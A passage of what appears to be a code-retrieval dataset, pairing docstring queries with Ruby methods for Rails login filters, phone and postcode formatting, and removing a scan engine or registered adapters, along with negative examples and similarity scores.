"def formatted_phone_number\n Phonelib.parse(phone_number).local_number\n end",
"def formatted_phone_number\n Phonelib.parse(phone_number).local_number\n end",
"def formatted_phone_number\n Phonelib.parse(phone_number).local_number\n end",
"def sortable_year_str_for_bc\n bc_matches = orig_date_str.match(BC_REGEX) if orig_date_str\n ($1.to_i - 1000).to_s if bc_matches\n end",
"def australian_postcodes_regular\n nsw = (2000..2599).to_a +\n (2619..2898).to_a +\n (2921..2999).to_a\n act = (2600..2618).to_a +\n (2900..2920).to_a\n vic = (3000..3999).to_a\n qld = (4000..4999).to_a\n sa = (5000..5799).to_a\n wa = (6000..6797).to_a\n tas = (7000..7799).to_a\n nt = (800..899).to_a\n \n # Convert integers to strings (postcodes are *not* integers)\n (nsw + act + vic + qld + sa + wa + tas + nt).map { |p| \"%04i\" % p }\nend",
"def century(year)\n # create century_str--------------\n if year.to_s.end_with?('00')\n century_str = year / 100\n else\n century_str = year / 100 + 1\n end\n century_str = century_str.to_s\n # --------------------------------\n\n # create suffix-------------------\n suffix = nil\n\n if century_str.length == 1\n if century_str == '1'\n suffix = 'st'\n elsif century_str == '2'\n suffix = 'nd'\n elsif century_str == '3'\n suffix = 'rd'\n else\n suffix = 'th'\n end\n\n elsif century_str.length < 4\n if century_str.reverse[1] == '1'\n suffix = 'th'\n elsif century_str.end_with?('1')\n suffix = 'st'\n elsif century_str.end_with?('2')\n suffix = 'nd'\n elsif century_str.end_with?('3')\n suffix = 'rd'\n else\n suffix = 'th'\n end\n\n elsif century_str.length == 3\n # case century_str\n # end\n end\n # --------------------------------\n\n result = \"#{century_str}#{suffix}\"\n\n\n\n p result\nend",
"def convert_birthday\r\n\tbirthdate_str = get_birthday\r\n\tyour_number = birthdate_str[0].to_i + birthdate_str[1].to_i + birthdate_str[2].to_i \r\n\tyour_number = your_number + birthdate_str[3].to_i + birthdate_str[4].to_i + birthdate_str[5].to_i \r\n\tyour_number = your_number + birthdate_str[6].to_i + birthdate_str[7].to_i\r\n\r\n\t#SECOND ROUND OF ADDING NUMBERS TOGETHER\r\n\tyour_number = your_number.to_s\r\n\tyour_number = your_number[0].to_i + your_number[1].to_i\r\n\r\n\t#LAST ROUND OF ADDING IF NEEDED\r\n\tif (your_number > 9)\r\n\t\tyour_number = your_number.to_s\r\n\t\tyour_number = your_number[0].to_i + your_number[1].to_i\r\n\tend\r\n\r\n\treturn your_number\r\nend",
"def display_number\n # \n ('X' * (account_number.to_s.length - last_digits.size)) + last_digits\n # account_number.to_s[0..last_digits.size].to_s.size + \n # last_digits.to_s\n end",
"def home_work_phone_number\n FFaker.numerify(\"(#{home_work_phone_prefix}) #### ####\")\n end",
"def format_phone\n if Phoner::Phone.valid? self.phone\n pn = Phoner::Phone.parse phone, :country_code => '1'\n self.phone = pn.format(\"(%a) %f-%l\")\n end\n end",
"def validateUK(vat_number)\r\n # Only inspect check digits for 9 character numbers\r\n return true unless vat_number.length == 9\r\n total = 0\r\n multipliers = [8,7,6,5,4,3,2]\r\n 0.upto(6) do |i|\r\n total += vat_number[i,1].to_i * multipliers[i]\r\n end\r\n # Establish check digit\r\n total = total % 97\r\n total -= 97 unless total == 0\r\n total = total.abs\r\n return true if total == vat_number[7..9].to_i\r\n return false\r\n end",
"def format(match_data, length)\n match_data[1].gsub('_', '').downcase + (\"%0#{length}d\" % match_data[2].to_i)\n end",
"def three_digit_format(n)\r\n # your code here\r\n n.to_s.rjust(3, \"0\")\r\nend",
"def phone_formatted_for_display\r\n return number_to_phone(phone, {:area_code => true})\r\n end",
"def full_no\n # Debt claim no (Office & year & sequential number) => OOOO-YYYY-NNNNN\n if claim_no == \"$err\"\n \"0000-0000-00000\"\n else\n claim_no.blank? ? \"\" : claim_no[0..3] + '-' + claim_no[4..7] + '-' + claim_no[8..12]\n end\n end",
"def format_phone_number(phone_number)\n return nil if phone_number.nil?\n\n clean_number = phone_number.gsub(/\\D/, '')\n\n return phone_number if clean_number.length < 10\n\n country_code = clean_number[0, clean_number.length - 9]\n number = clean_number[clean_number.length - 9, clean_number.length]\n\n \"#{country_code}|#{number}\"\n end",
"def validate\n if self.iso_week_code.to_i == 0\n errors.add(\"iso_week_code\",\"must be a number\")\n return\n end\n \n if self.iso_week_code.length == 1\n self.iso_week_code = \"0\" + self.iso_week_code\n end\n end",
"def century(year)\n century_string = ''\n case year.to_s.length \n when 1..2\n century_string = '1'\n when 3\n century_string = (year.to_s[0].to_i+1).to_s\n when 4\n if year.to_s[-1] == '0'\n century_string = year.to_s[0..1].to_i.to_s\n else \n century_string = (year.to_s[0..1].to_i+1).to_s\n end \n when 5\n century_string = (year.to_s[0..2].to_i+1).to_s\n end \ncentury_string += last_digit(century_string)\n\nend",
"def format_phone_number\n area_code = self.phone_number.slice!(0,3)\n area_code = '(' + area_code + ') '\n return area_code + self.phone_number.insert(3, '-')\n end",
"def format_phone_number(phone)\n cleaned_phone_number = Phonelib.parse(phone).national(false)\n return nil if cleaned_phone_number.nil? || cleaned_phone_number.length != 10\n\n cleaned_phone_number.insert(6, '-').insert(3, '-')\n end",
"def format_phone_number(phone)\n parsed_phone = Phonelib.parse(phone)\n\n if parsed_phone.country == Phonelib.default_country\n parsed_phone.local_number\n else\n parsed_phone.full_international\n end\n end",
"def to_s\n \"(#{ self.area_code }) #{ @number.slice(3,3) }-#{ @number.slice(6,4) }\"\n end",
"def century(number)\n century_int = ''\n suffix_str = ''\n\n century_int = (number / 100) + 1\n century_int -= 1 if number % 100 == 0\n suffix_str = suffix(century_int)\n\n century_int.to_s + suffix_str\nend",
"def short_phone_number\n FFaker.numerify('###-##-##')\n end",
"def zipcode\n \"%05d\" % rand(99999) \n end",
"def full_id9\n self.id.blank? ? '000000000' : self.id.to_s.rjust(9,'0')\n end",
"def international_phone\n phone.gsub(/[^\\d]/, \"\").prepend('+1')\n end",
"def format_sins(string)\n puts string.gsub!(/\\b(\\d{3})\\D?(\\d{3})\\D?(\\d{3})\\b/, '\\1-\\2-\\3')\n return string\nend",
"def nformat( n )\n # FIXME by locale\n return numberFormat( n, ',','.', 1 );\nend",
"def locale; end",
"def locale; end",
"def locale; end",
"def locale; end",
"def locale; end",
"def locale; end",
"def locale; end",
"def format_phone_number(phone_number_str)\n phone_number_str.gsub!(/\\D/, \"\")\n area_code = phone_number_str[0..2]\n phone_beginning = phone_number_str[3..5]\n phone_end = phone_number_str[6..9]\n\n return \"(#{area_code}) #{phone_beginning}-#{phone_end}\"\nend",
"def czech_organisation_number\n sum = 0\n base = []\n [8, 7, 6, 5, 4, 3, 2].each do |weight|\n base << sample((0..9).to_a)\n sum += (weight * base.last)\n end\n base << (11 - (sum % 11)) % 10\n base.join\n end",
"def nhs_numberize\n return self unless length == 10\n self[0..2] + ' ' + self[3..5] + ' ' + self[6..9]\n end",
"def convert_phone_nbr_scrp\n if self[0] == \"0\"\n self[0].gsub(\"0\", \"+33\") + self[1..-1]\n end\n end",
"def format_number(number)\n number.to_s.reverse.gsub(/(\\d{3})(?=\\d)/, '\\\\1,').reverse\nend",
"def format_phone_number(phone_number_str)\n\n\tp_n_s = phone_number_str.to_s\n\n\t#Use each substring of the phone number string to create formatted phone number.\n\tph_frmtd = \"(\" + p_n_s[0..2] + \")\" + p_n_s[3..5] + \"-\" + p_n_s[6..9]\n\t\n\treturn phone_number_str\n\nend",
"def century(num)\n century_num = ((num - 1) / 100) + 1\n\n century_string = century_num.to_s\n century_string << if (century_num % 100).between?(11, 13)\n 'th'\n elsif century_num % 10 == 1\n 'st'\n elsif century_num % 10 == 2\n 'nd'\n elsif century_num % 10 == 3\n 'rd'\n else\n 'th'\n end\nend",
"def format_dni\n\t if self.dni\n\t\t\t\tself.dni.upcase!\n\t\t\t\tself.dni = self.dni.rjust(9,\"0\") if self.dni.length < 9\n\t\t\tend\n\tend",
"def number\n\t\tname.gsub(/^rfc/i, '').to_i\n\tend",
"def format(cnpj)\n cnpj = cnpj.to_s.rjust(14, \"0\")\n \"%s.%s.%s/%s-%s\" % [cnpj[0,2], cnpj[2,3], cnpj[5,3], cnpj[8,4], cnpj[12,2]]\n end",
"def format_phone_number(phone_number_str)\n return phone_number_str\nend"
] |
[
"0.7171287",
"0.67591935",
"0.6644684",
"0.6534203",
"0.6469353",
"0.64246917",
"0.6402178",
"0.63829374",
"0.6366664",
"0.63018835",
"0.6290397",
"0.6290397",
"0.62767375",
"0.6273385",
"0.62671703",
"0.6238793",
"0.6233969",
"0.6169826",
"0.61428577",
"0.61320007",
"0.6127314",
"0.61218005",
"0.609973",
"0.6098019",
"0.6093676",
"0.6085102",
"0.6075673",
"0.60674334",
"0.6062606",
"0.6041456",
"0.60307944",
"0.601873",
"0.6011676",
"0.5997979",
"0.5990269",
"0.59825313",
"0.598058",
"0.5964012",
"0.5957363",
"0.59257543",
"0.59257543",
"0.5920907",
"0.58981293",
"0.5869954",
"0.5864707",
"0.58524024",
"0.5832905",
"0.5831811",
"0.5829488",
"0.58271015",
"0.58255136",
"0.58237463",
"0.5811639",
"0.57908225",
"0.5782956",
"0.5782956",
"0.5782956",
"0.5779422",
"0.57725203",
"0.57356524",
"0.5732355",
"0.57309234",
"0.5722646",
"0.57219064",
"0.5708293",
"0.57076555",
"0.57054734",
"0.5705472",
"0.57054704",
"0.5700711",
"0.56973",
"0.5695178",
"0.5691557",
"0.5686557",
"0.5684293",
"0.5680093",
"0.567524",
"0.5673864",
"0.56737506",
"0.56722003",
"0.56614244",
"0.56458265",
"0.5640533",
"0.56380886",
"0.56380886",
"0.56380886",
"0.56380886",
"0.56380886",
"0.56380886",
"0.56380886",
"0.5634449",
"0.5633206",
"0.5622985",
"0.56165814",
"0.5616428",
"0.5615121",
"0.56096363",
"0.5608717",
"0.5607231",
"0.5602128",
"0.56010216"
] |
0.0
|
-1
|
def logged_in_user unless logged_in? store_location flash[:danger] = "Please log in." redirect_to login_url end end Confirms the correct user.
|
def correct_user
@user = User.find(params[:id])
redirect_to(root_url) unless current_user?(@user)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def logged_in_user\n unless user_logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless user_logged_in?\n store_location\n flash[:danger] = 'Please log in.'\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless user_logged_in?\n store_location\n flash[:danger] = 'Please log in.'\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless user_logged_in?\n store_location\n flash[:danger] = 'Please log in.'\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end \n end",
"def logged_in_user\r\n unless logged_in?\r\n store_location\r\n flash[:danger] = \"Please log in.\"\r\n redirect_to login_url\r\n end\r\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n\tunless logged_in?\n\t store_location\n\t flash[:danger] = \"Please log in.\"\n\t redirect_to login_url\n\tend\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = 'Please log in.'\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n \tstore_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_path\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_path\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_path\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_path\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to root_path\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in to access this page.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n\tunless logged_in?\n\tstore_location\n\tflash[:danger] = \"Please log in.\"\n\tredirect_to login_url\n\tend\n\tend",
"def logged_in_user\n unless logged_in?\n\t store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = 'Please log in.'\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n store_location unless logged_in?\n flash[:info] = 'Please log in.' unless logged_in?\n redirect_to login_url unless logged_in?\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n \tstore_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n \tstore_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n \n unless logged_in?\n\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n\t\tunless logged_in?\n\t\tstore_location\n\t\tflash[ :danger] = \"Please log in\"\n\t\tredirect_to login_url\n\tend\n\tend",
"def logged_in_user\n \n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = t 'login_message'\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"You must be logged in to visit this page\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in? # Sessions helper method.\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to log_in_url\n end\n end",
"def logged_in_user\n unless logged_in?\n # Store the location the user attempted to access\n # to enable redirection back to it after login.\n store_location\n flash[:danger] = 'Please log in.'\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to user_login_url\n end\n end"
] |
[
"0.9257058",
"0.925327",
"0.925327",
"0.92527753",
"0.92310596",
"0.9213171",
"0.9205564",
"0.92050725",
"0.92050725",
"0.92050725",
"0.92050725",
"0.92050725",
"0.92050725",
"0.92050725",
"0.92050725",
"0.92050725",
"0.92050725",
"0.92050725",
"0.92050725",
"0.92050725",
"0.92050725",
"0.92050725",
"0.92050725",
"0.9203524",
"0.9202044",
"0.9198073",
"0.9194868",
"0.91869056",
"0.9180686",
"0.9180686",
"0.9180686",
"0.9180686",
"0.91743743",
"0.91673255",
"0.9158971",
"0.9154755",
"0.915172",
"0.91500694",
"0.91500694",
"0.91500694",
"0.91500694",
"0.91500694",
"0.91500694",
"0.91500694",
"0.91440916",
"0.9141223",
"0.9141223",
"0.9141223",
"0.9141223",
"0.9141223",
"0.9134797",
"0.9134797",
"0.9134419",
"0.91340894",
"0.9133844",
"0.91297764",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.91274536",
"0.912681",
"0.912681",
"0.91236955",
"0.91189665",
"0.9105884",
"0.9105884",
"0.9105884",
"0.91045433",
"0.9100919",
"0.910055"
] |
0.0
|
-1
|
Removes a scan engine from the list of available engines.
|
def delete_engine(engine_id, scope = 'silo')
xml = make_xml('EngineDeleteRequest', { 'engine-id' => engine_id, 'scope' => scope })
response = execute(xml, '1.2')
response.success
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def engines_reset!\n @engine_instances = nil\n end",
"def purge_engine\n\n @engine.get_expression_storages.each { |s| s.purge }\n end",
"def remove\n uninstall_yri\n uninstall_yard\n end",
"def reset_engine_registrations!\n @@registered_engine_confs = {}\n end",
"def remove(klass)\n self.registered_items.delete(klass)\n end",
"def remove(plugin); end",
"def remove_all_spies\n @registry.remove_all.each(&:stop)\n end",
"def remove_game(channel)\n @games.delete(channel)\n end",
"def unregister_adapter(name)\n @@loaded_adapters.delete(name)\n end",
"def unregister_type\n types_list.delete self\n end",
"def unRegisterChecker( id )\n @availableCheckers.delete_if{ |x| x.id == id}\n end",
"def remove\n unrealize\n remove_from_dependencies\n remove_from_dependents\n end",
"def unregister(*providers)\n providers.each do |provider|\n provider.urls.each do |url|\n if @@urls[url].is_a?(Array)\n @@urls[url].delete(provider)\n @@urls.delete(url) if @@urls[url].empty?\n end\n end\n end\n end",
"def destroy\n @engine.destroy\n respond_to do |format|\n format.html { redirect_to engines_url }\n format.json { head :no_content }\n end\n end",
"def remove_plugin(name)\n @data[\"installed\"].delete(name)\n save!\n end",
"def clear\n @driver.clear\n end",
"def remove_all\n @registry = []\n sync\n end",
"def unregister_all\n registry.clear.default = nil\n end",
"def removeSolvent\n @solvents = nil\n end",
"def remove(instance)\n @registry.each_with_index do |item, i|\n if item.to_h == instance.to_h\n @registry.delete_at(i)\n end\n end\n sync\n end",
"def destroy_unused_machines\n available_machines.select(&:deleteable?).each do |machine|\n retired_machines.push available_machines.delete(machine)\n machine.destroy!\n end\n end",
"def remove_app\n Object.send :remove_const, @klass.name if @klass\n @klass = nil\n end",
"def deregister_non_persistent_services(engine)\n core.deregister_non_persistent_services(engine)\n end",
"def destroy_curation(engine_name, id)\n delete(\"engines/#{engine_name}/curations/#{id}\")\n end",
"def remove_search search\n search = normalize search\n @searches.delete search.to_s\n @search_objects.delete search.to_s\n end",
"def remove_missing\n sync do\n devices.delete_if do |dev|\n pdev = ct.group.devices.get(dev)\n pdev.nil? || !pdev.mode.compatible?(dev.mode)\n end\n end\n end",
"def clear_registered_linters\n registered_linters.clear\n end",
"def remove\n TickerSymbol.where(symb: params['symb']['name']).destroy_all\n render('covered_symbols')\n end",
"def destroy_synonym_set(engine_name, id)\n delete(\"engines/#{engine_name}/synonyms/#{id}\")\n end",
"def destroy\r\n\t\t# can't delete a robot exists no more\r\n\t\tif @@exist_robots[@id]\r\n\t\t\t@@exist_robots[@id] = nil\r\n\t\t\t@@robots_count -= 1\r\n\t\t\t@id = nil\r\n\t\tend\r\n\tend",
"def delete_disabled_adapters\n read_settings.fetch('Hardware', {}).each do |adapter, params|\n if adapter.start_with?('net') and !params.fetch('enabled', true)\n execute_prlctl('set', @uuid, '--device-del', adapter)\n end\n end\n end",
"def remove\n @download_url = nil\n @latest_version = nil\n System.delete \"#{System.install_dir}/#{file_name.gsub('.exe', '')}.version\"\n System.delete driver_path\n end",
"def remove_plugin(plugin)\n client_classes.each do |client_class|\n client_class.remove_plugin(plugin)\n end\n end",
"def destroy\n @engine_run.destroy\n redirect_to admin_engine_runs_path, notice: \"Engine run was successfully deleted.\"\n end",
"def unregister_alias\n Object.send(:remove_const, :VK) if defined?(VK)\n end",
"def remove(name)\n gladiators.reject! { |g| g.name == name }\n end",
"def remove_missing\n sync do\n devices.delete_if do |dev|\n pdev = parent.devices.get(dev)\n pdev.nil? || !pdev.mode.compatible?(dev.mode)\n end\n end\n end",
"def clear!\n @adapters = []\n end",
"def turn_off_engine\n fail 'No Driver Error' if driver.nil?\n\n @engine_on = false\n end",
"def srch_destroy\n\t\t\t\tself.class.srch_destroy(:remote_id => srch_send(:remote_id))\n\t\t\tend",
"def shutdown\n @registry.clear\n end",
"def destroy\n stop_stats\n @@applications.delete @api_id\n end",
"def unplug!\n return self unless exist?\n ole.Delete\n self\n end",
"def remove_from_engine_registry(service_hash)\n service_node = find_engine_service_node(service_hash)\n if service_node.is_a?(Tree::TreeNode)\n remove_tree_entry(service_node)\n else\n false # failure to find ok\n end\n end",
"def remove\n if Module.const_defined? :DSL\n Application.remove(self)\n end\n end",
"def remove!\n self.results.each{ |r| r.remove! }\n self.metadata.remove!\n end",
"def destroy\n @engine.destroy\n respond_to do |format|\n format.html { redirect_to engines_url, notice: 'Engine was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n $logger.info(\"Destroying application #{@name}\")\n @gears.each do |gear|\n gear.destroy\n end\n end",
"def unregister(name)\n resource = resources.delete(name)\n if resource\n resource.bulkhead&.unregister_worker\n consumers_for_resource = consumers.delete(name) || []\n consumers_for_resource.each do |consumer|\n if consumer.weakref_alive?\n consumer.clear_semian_resource\n end\n rescue WeakRef::RefError\n next\n end\n end\n end",
"def unload_plugins\n en_ete_dw_up\n tool_menu.remove(@menu_item_extract_text)\n end",
"def unregister\n VirtualBox.run_command ['VBoxManage', 'unregistervm', uid, '--delete']\n self\n end",
"def destroy\n Site.delete_all \"sitename = 'lost+found'\" \n super\n end",
"def remove\n from = Suspender.new(doc_with_tokens, tokens_to_remove).suspend\n from.filtered_text\n end",
"def unregister_all!\n @@media_generators = []\n @@link_grabbers = []\n @@media_scrapers = []\n self\n end",
"def unregister\n @is_registered = false\n self\n end",
"def remove_engine_id(opts)\n opts = check_params(opts,[:engine_id])\n super(opts)\n end",
"def purge_type!(type)\n\n collection(type).remove\n end",
"def clear_watchers\n clear_all_watchers\n puts \"All watchers removed\"\n end",
"def clear!\n registered_items.clear\n end",
"def clear!\n registered_items.clear\n end",
"def uninstall(assets); end",
"def engines\r\n @engines ||= plugins.select(&:engine?)\r\n end",
